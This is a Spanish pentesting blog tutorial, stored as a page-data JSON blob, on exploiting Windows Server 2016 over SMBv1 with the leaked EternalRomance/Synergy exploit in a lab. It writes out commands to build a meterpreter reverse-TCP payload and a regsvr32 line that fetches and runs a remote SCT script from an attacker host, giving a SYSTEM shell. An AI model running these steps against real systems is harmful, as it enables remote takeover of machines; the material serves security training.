[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$flUUfiJlWK3o4_gh27mxZf8xe_tnCalZd9lLckGspyfA":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":55,"related_specialty":75},"explotando-windows-2016-con-eternalromance-synergy-nsa","Explotando Windows 2016 con EternalRomance\u002FSynergy (NSA)","Como hemos comentado en post anteriores (Usando el exploit eternalblue de la NSA , Explotando Windows 2012 R2 con EternalBlue).",{"slug":8,"name":9},"pentesting","Pentesting ",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"Funpunch","Andres Galeano","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbThGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e169c1f44d47457dda7935fcd906ce67cf324bbe\u002Ffoto.jpg","Consultor de seguridad informática","Consultor de seguridad informática. Especialista VOIP.","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBamdPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--b04136b88b2290bfbadcf74f892a674007c03936\u002Fshutterstock_781900246.jpg","2017-07-19T00:09:45-04:00","2026-10-26T10:59:57-03:00","\u003Cdiv>\r\n\u003Cp>Como hemos comentado en post anteriores (\u003Ca href=\"http:\u002F\u002Fbacktrackacademy.com\u002Farticulo\u002Fms17-010-eternalblue-doublepulsar\">Usando el exploit eternalblue de la NSA\u003C\u002Fa> , \u003Ca href=\"http:\u002F\u002Fbacktrackacademy.com\u002Farticulo\u002Fexplotando-windows-2012-r2-con-eternalblue\">Explotando Windows 2012 R2 con EternalBlue\u003C\u002Fa>), los exploits desarrollados por la NSA, que se filtraron gracias al grupo Shadow Brokers, tuvieron mucho revuelo, ya que se aprovechaban de una vulnerabilidad situada en el protocolo SMBv1. Dicha vulnerabilidad fue utilizada por diversos tipos de Ransomwares (Wannacry) o Wipers (ExPetr\u002FPetya\u002FNotPetya).\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002F-r-F3pVmDKhqUO9AijR-qzbz4GwEMlUs_VpLy6DpIgMNbF3e2jGyA8-7B964N5HJfLzfVTH2gm6HC6s9qkMjfBDoWY2NQ41fmv6AgNV1tChH1F_1by6ahMEygk9SV8UF7TLJMcsZ\" width=\"624\" height=\"472\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Imagen 1 - Ransomware Wanna Cry\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FSprhgVq-h2mKDF2yf9hfaprGujwc9MtL_jPH2fgTROUDszBkVvNE_wpdKTc0Fw9-4hnLQlRKKo8tzPZ8facyb-fcVqlac27oq5NCSVOtF_m6Gk1j277DXAVCojd391gC_PoIqf6b\" width=\"624\" height=\"347\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Imagen 2 - Wyper Petya\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Como era de esperarse estos exploits siguieron siendo investigados, por diversos reverse engineers, uno de ellos es Sleepya, él había realizado anteriormente scripts que servían para explotar diversos Windows, en esta oportunidad sumó a su colección Windows 2016 (x64) y mejoró el rate de explotación(ver \u003Ca href=\"https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F42315\u002F\">aquí\u003C\u002Fa>), .\u003C\u002Fp>\r\n\u003Cp>Ante esta noticia, una vez más \u003Ca href=\"https:\u002F\u002Ftwitter.com\u002Funapibageek\">Sheila Berta\u003C\u002Fa>, se puso manos a la obra y realizó un paper (ver \u003Ca href=\"https:\u002F\u002Fexploit-db.com\u002Fdocs\u002F42329.pdf\">aquí\u003C\u002Fa>) para demostrar cómo puede ser utilizado.\u003C\u002Fp>\r\n\u003Cp>En esta ocasión vamos a demostrar rápidamente como funciona el script, para un nivel más detallado pueden ver los papers anteriormente nombrados y estos links de referencia:\u003C\u002Fp>\r\n\u003Cul>\r\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fblogs.technet.microsoft.com\u002Fsrd\u002F2017\u002F07\u002F13\u002Feternal-synergy-exploit-analysis\u002F\">Eternal Synergy\u003C\u002Fa>\u003C\u002Fli>\r\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.redeszone.net\u002F2016\u002F04\u002F22\u002Funa-vulnerabilidad-windows-permite-saltarse-los-controles-seguridad-applocker\u002F\">Regsrv32\u003C\u002Fa>\u003C\u002Fli>\r\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupport.microsoft.com\u002Fes-ve\u002Fhelp\u002F249873\u002Fhow-to-use-the-regsvr32-tool-and-troubleshoot-regsvr32-error-messages\">Regsrv32-Microsoft\u003C\u002Fa>\u003C\u002Fli>\r\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwiki.samba.org\u002Findex.php\u002FSpoolss\">Spoolss\u003C\u002Fa>\u003C\u002Fli>\r\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdrivers\u002Fprint\u002Fintroduction-to-print-providers\">Spoolss2\u003C\u002Fa>\u003C\u002Fli>\r\n\u003C\u002Ful>\r\n\u003Cspan>:\u003C\u002Fspan>\r\n\u003Ch3>Laboratorio\u003C\u002Fh3>\r\n\u003Cp>Para que podamos llevar a cabo la practica de manera sencilla, vamos a necesitar una maquina virtual con Kali 2017.1, y otra con un Windows 2016 (x64).\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FRX9i2-xfwNUWkggCpDBJ-xVDX4Uk9Vf4Dp6jewcqmK6ExC89GkWTDzbLET0mPojivUoF5n_4qBSY9dSnjGESAkoBOL0LV8pHcI6v4udrvqv8qjLAWG8fhnKBcJawqGn2KyjfrDhb\" width=\"554\" height=\"383\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 3 - Windows 2016\u003C\u002Fp>\r\n\u003Cp>La vulnerabilidad puede ser explotada en el caso de que esté activo el usuario Guest o bien hayamos recopilado previamente las credenciales de un usuario válido, aunque tenga permisos reducidos nos servirá, ya que una vez explotada la vulnerabilidad, siempre recibiremos una terminal de SYSTEM.\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Ch3>Ejemplo n° 1 (Archivo Txt)\u003C\u002Fh3>\r\n\u003Cp>Aquí vamos a demostrar rápidamente como se puede escribir un archivo de texto en el host víctima.\u003C\u002Fp>\r\n\u003Cp>Primero deberemos descargar la carpeta donde se encuentran los scripts de Sleepya.\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cpre>git clone \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Fworawit\u002FMS17-010\u002F\">https:\u002F\u002Fgithub.com\u002Fworawit\u002FMS17-010\u002F\u003C\u002Fa>\u003C\u002Fpre>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FHFXeH1TorXUQK3ZGggt2xkTtSPZRd8kvrhQFcJtBPTJ2cE0D8mqxK-TWH6rBKPAG-mukiD83RpCX19S9ubFYRQDUG5rQdUBjUxnrJLaFhk85w19biXeBvlG5inG47XMGdjors96K\" width=\"624\" height=\"145\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 4 - Descargar carpeta MS17-010\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Entramos a la carpeta MS17-010 y allí creamos el archivo exploit.py con el codigo que figura en: \u003Ca href=\"https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F42315\u002F\">https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F42315\u002F\u003C\u002Fa> (aunque por lo que estuve viendo el script zzz_exploit.py cumple con la misma función y tiene más líneas de código, donde se pueden ver algunos comentarios interesantes sobre el funcionamiento del script)\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FQyKIlBfiVmiaBJ0-HIDM2osQcGJT5HQS4D4UeibWYzEMSFAdzfa029hi7r7oDObmk2OHUKFDFXgdCuw1ZSL0T-pGzDrJ3Mcee3QxfLyqr15ut8BrTy-z16DsoA8uJPhyNNT1g-sV\" width=\"622\" height=\"172\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>Imagen 5 - Creación de archivo exploit.py\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>Una vez creado el archivo, ingresamos y cargamos las credenciales que hayamos recopilado.\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FBax7cq1v3xn2KqlfELsHUdlWe4ggtXYgtUlTAODB69-qzWj8aX-cyc9z2dH7TeehuD8M3jLof_eG47udJhqrovuS-NnsTjaJYq2P21ZYQ366v88FeOsHxsUlQ2dWuZVpHLwisGp7\" width=\"297\" height=\"41\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 6 - Ingreso de credenciales\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002F2ddRaHm9TsjQ54dDiHxph28xeLOsteaVIFOjxMTCPdvZenBfT8NhFFRr76wLfRMu0gO1dWssV027_LUDtrU4dzN3LxJst5L_lUPnUGEA293C2tl37PaDggG6OEfJC1wWzjekhWw1\" width=\"624\" height=\"293\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 7 - Ejecución del exploit\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FESijXHcKSlqSy6W_0EOaUGB3NUStAzFDcVU_bDvwGKORy8zudwpOpBNdXuAVnD_iXDDY_ODTYb8o2NAvq_nPEcKpv0NwWI7LiMCOcF1bUSWiZ9oHQOR8R17I4S1ah6bCzEpjxk7a\" width=\"624\" height=\"233\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>Imagen 8 - Resultado: archivo pwned.txt creado\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Ch3>Ejemplo n° 2 (Meterpreter Shell)\u003C\u002Fh3>\r\n\u003Cbr>\r\n\u003Cp>A estas alturas ya podemos notar que hay muchas maneras de conseguir una shell, y terminar de comprometer el host, todo dependerá de nuestra imaginación.\u003C\u002Fp>\r\n\u003Cp>Sheila en esta oportunidad nos ofrece la posibilidad de embeber una shellcode en un archivo .SCT.\u003C\u002Fp>\r\n\u003Cp>El mismo deberá ser creado con Ps1encode, esta herramienta nos permite generar y codificar los PAYLOADS de metasploit en varios formatos basado en PowerShell.\u003C\u002Fp>\r\n\u003Cp>(Leer los links de Referencia anteriormente mencionados)\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Creación del PAYLOAD (Archivo SCT)\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>Descargar la herramienta PS1encode\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cpre>git clone \u003Ca href=\"https:\u002F\u002Fgithub.com\u002FCroweCybersecurity\u002Fps1encode\">https:\u002F\u002Fgithub.com\u002FCroweCybersecurity\u002Fps1encode\u003C\u002Fa>\u003C\u002Fpre>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>Crear el archivo SCT\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cpre>ruby ps1encode.rb --PAYLOAD windows\u002Fmeterpreter\u002Freverse_tcp --LHOST=IP_ATACANTE -- LPORT=4444 -t sct\u003C\u002Fpre>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002F3VPJKxqZWzlspTXY9gMTE8ND5u5YF4pd7w7Fr3ZVLYGZFwW7n_TSeJC4qzUrBQMnZIYtYnjzK4j9x0EAFKxP2DY5Fis9TzoeN6mqUv92f2PUMKcZHbl2zn9GU29Q67aKJGJ11-3I\" width=\"624\" height=\"285\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 9 - Creación de archivo sct\u003C\u002Fp>\r\n\u003Cbr>\r\n\u003Cp>Copiar el archivo index.sct en \u002Fvar\u002Fwww\u002Fhtml, dar los permisos necesarios y luego iniciar el servidor web apache2.\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cpre>cp index.sct \u002Fvar\u002Fwww\u002Fhtml\u002F\u003Cbr>\u003Cbr>chmod +x index.sct \u003Cbr>\u003Cbr>service apache2 start\u003C\u002Fpre>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>Modificar exploit.py\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002Fi77KCuvEHQr5AV05-eGFY8R-Bng7eEq4GAfulxJ0kOmm9QRUNMqQl7Z5FTVEmNF1FOu45rX63PcJHDZebExrFuhfA3L61B09baX-j847MhbxqnVTQkLglJco-4M9Pb_Zi_FWOTUL\" width=\"580\" height=\"93\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 10 - exploit.py original\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Cargar en el script:\u003C\u002Fp>\r\n\u003Cp>regsvr32 \u002Fs \u002Fn \u002Fu \u002Fi:\u003Ca href=\"http:\u002F\u002F192.168.221.134\u002Findex.sct\">http:\u002F\u002FIP_ATACANTE\u002Findex.sct\u003C\u002Fa> scrobj.dll\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002F6xV3SzhN7K0UGKtSqlwBLG8wfOM1UpgY7VY-LyyoucDN0Q-FGaIFvuNIc7ElmSRx0EQZYjO0p5f3lxRVi8TKYQo4ugCua3jsLkeGOfQngS5v3Bl7MEl-qBm0OI1OeZM-WJZVoq_X\" width=\"624\" height=\"113\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 11 - exploit.py modificado\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Ch3>Crear un Handler\u003C\u002Fh3>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FCv-XgSTThIw9PFtfrhwEMIlEwfyXPbq9dAloUyUVtrggyM0CDSz755Xlf6XTqCZG626SFKhiVie8lsljgtTj-YEQ0GZvgXVYXhmmSrkwgk1ObTEaWMpNMohQXd8db2oYTZwhSSBi\" width=\"601\" height=\"90\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cspan>\u003Cspan>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fspan>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FWIxrIdpHbzT_iGhdF9eSgkaM4k664jC6i3KMiIO_XFr2Dc92qdMJmjMj_zBxr9ZF-iDU_TQu55REBYvQWMHYDxRYGFs5ZH0QSVU_9OFl8cJ-5Mvsh8Mbq-BgF6f3-C3JHp1ZnB2H\" width=\"527\" height=\"82\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 12 - Carga del Handler\u003C\u002Fp>\r\n\u003Ch3>EXPLOTAR\u003C\u002Fh3>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002Fqhkp9jdDoeBxjbZx5XISK3QUhYEIk4U7qM9Scpd0eMiMne_j20uBGlIx2THl_a7FWHFecG3Xw2R5EYlqwc9BdP9KnfXZ9NP8TVx5OHFDDVpX-oxAjiIph494cxvmDahYRGmmzo73\" width=\"327\" height=\"34\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>Imagen 13 - Meterpreter con permisos SYSTEM\u003C\u002Fp>\r\n\u003Cdiv> \u003C\u002Fdiv>\r\n\u003Cp>Como podemos ver es una excelente manera de ejecutar un archivo de manera remota y conseguir una shell con permisos SYSTEM.\u003C\u002Fp>\r\n\u003Cp>Recuerden que para profundizar más en el tema pueden leer todos los papers.\u003C\u002Fp>\r\n\u003Cp>Los seguiremos manteniendo al tanto!\u003C\u002Fp>\r\n\u003C\u002Fdiv>","eternalromance, windows 2016",4,[23,35,44],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":32,"image_thumb_url":32,"published_at":33,"updated_at":34},"write-up-maquina-webdeveloper1-de-vulnhub","Write-up máquina WebDeveloper1 de VulnHub","Buenas, soy Martin Frias (otra vez), en unos días se hará público mi primer curso en esta plataforma llamado “Hacking Ético boot2root”, en este curso abordaremos cómo es la resolución de una máquina tipo boot2root que yo elabore, ColddBox: Easy, disponible tanto en VulnHub como en TryHackMe.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzBQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9088ff4d9195016e15c3d716536a9879894e0d65\u002Fshutterstock_1269857698.jpg","2021-04-15T16:16:19-04:00","2026-10-26T11:48:31-03:00",{"slug":36,"title":37,"summary":38,"category":39,"author":40,"image_url":41,"image_thumb_url":41,"published_at":42,"updated_at":43},"uso-de-foca-para-extraer-metadatos","Uso de FOCA para extraer metadatos.","FOCA es una herramienta que permite extraer los metadatos de un fichero y\u002Fo buscar ficheros en una determinada web para posteriormente extraer sus metadatos, bien los metadatos básicamente son un grupo de datos que describen otros datos, es información “oculta” que puede existir dentro de algún fichero o incluso en las llamadas telefónicas y que nos proporciona más información sobre este.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":31},"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ3dQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--c5a64e37a690cceb850d405b7fbe7fbc6adbc2ec\u002Fshutterstock_1184620222.jpg","2021-04-13T15:31:27-04:00","2026-10-26T11:55:40-03:00",{"slug":45,"title":46,"summary":47,"category":48,"author":49,"image_url":52,"image_thumb_url":52,"published_at":53,"updated_at":54},"la-importancia-de-un-soar-en-terminos-de-seguridad","La importancia de un SOAR en términos de seguridad","Es conocido que el avance tecnológico es cosa del día a día y así los peligros que este puede materializar en el Ciberespacio, es por esto que son muchas las herramientas necesarias a las cuales optan las empresas para proteger sus datos y activos. Pero esto tiene una curva cada vez más amplia, donde lo que se tiene integrado es un mero sinónimo de lo mucho que hace falta.",{"slug":8,"name":9},{"username":50,"name":51,"avatar_url":31},"user-1570553853","Flavio Esteban Canales Salvo","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ2tQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9a8439d5a0017e9aef4bb6e77a0f6ebaee6f3e68\u002Fshutterstock_1147173719.jpg","2021-01-14T14:26:15-03:00","2026-10-26T16:30:30-03:00",{"slug":56,"title":57,"summary":58,"level":59,"specialty":60,"category":63,"instructor":64,"image_url":68,"image_thumb_url":68,"duration_seconds":69,"lessons_count":70,"students_count":71,"is_free":72,"coming_soon":73,"updated_at":74},"introduccion-a-la-seguridad","Introducción a la Seguridad","Este curso tiene como objetivo comenzar en el mundo de la seguridad informática.","Basicos",{"slug":61,"name":62},"enterprise-pentesting-training-ept","Penetration Testing Student",{"slug":8,"name":9},{"username":65,"name":66,"avatar_url":67},"misaelban","Misael Banales","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9HIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--fcb46747ff2b0df3099425d0012f4da090b1db67\u002FIMG_2344.PNG","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaThOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ecc54bfb8fc4ff08be1e0805467c791c93fa803d\u002F2_-Introducci%C3%B3n-a-la-seguridad-inform%C3%A1tica-2.png",5085,10,39044,true,false,"2025-02-15T00:32:03-03:00",{"slug":61,"name":62,"summary":76,"level":77,"courses_count":78,"total_duration_seconds":79,"is_free":72,"image_url":80,"icon_url":81,"wallpaper_url":82,"updated_at":83},"Usted al finalizar la certificación Penetration Testing habrá obtenido el conocimiento para poder reconocer y analizar vulnerabilidades, explotar las debilidades en los sistemas y ayudar a protegerse de las amenazas,…","Básico",5,77388,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaUlQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2514d038e8d6aff5caf896423c25af3de56fcd09\u002FStudent-Penetration-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaWdQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--a04208079ecbb8df87bdb8e7d6f8f822702d1d03\u002FPenetration-Testing-Student.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaTRQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--5e4754f3e0213a49757fe74e0c16177f96cb2692\u002FStudent-Penetration-Testing-02.jpg","2021-05-17T15:38:02-04:00"]